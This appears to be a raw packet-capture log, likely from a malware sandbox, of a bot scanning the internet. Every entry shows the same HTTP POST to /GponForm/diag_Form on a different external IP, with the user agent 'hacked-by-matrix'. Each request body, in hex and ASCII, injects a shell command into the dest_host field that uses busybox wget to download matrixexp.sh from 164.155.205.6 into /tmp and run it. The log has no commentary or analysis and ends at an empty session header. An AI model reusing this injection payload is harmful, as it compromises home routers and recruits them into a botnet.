Mar 2, 2024 12:37:57.066442013 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.23	35730	212.21.149.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066447973 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.23	56744	79.233.7.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066457033 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.23	50076	94.29.43.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066474915 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1125	192.168.2.23	45714	109.73.24.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066478014 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.23	42032	118.4.48.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066479921 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.23	47678	94.163.49.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066539049 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.23	52904	118.57.27.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066545010 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.23	49342	212.225.75.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066581964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.23	54574	5.222.159.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066581964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.23	33330	5.115.202.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066581964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.23	40154	37.232.115.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066587925 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.23	49376	94.58.232.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066590071 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.23	43834	2.248.106.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066607952 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.23	46428	109.59.152.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066615105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.23	32792	210.107.134.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066648006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.23	37314	2.254.114.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066663027 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.23	41964	94.201.67.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066663980 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.23	36344	118.224.202.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066692114 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.23	43796	94.237.204.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066704988 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.23	39246	178.164.90.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066749096 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.23	41108	42.133.12.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066751003 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.23	40546	210.107.34.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066771030 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1144	192.168.2.23	57500	37.129.73.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066776037 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1145	192.168.2.23	46900	212.170.193.109	443

Timestamp	Bytes transferred	Direction	Data
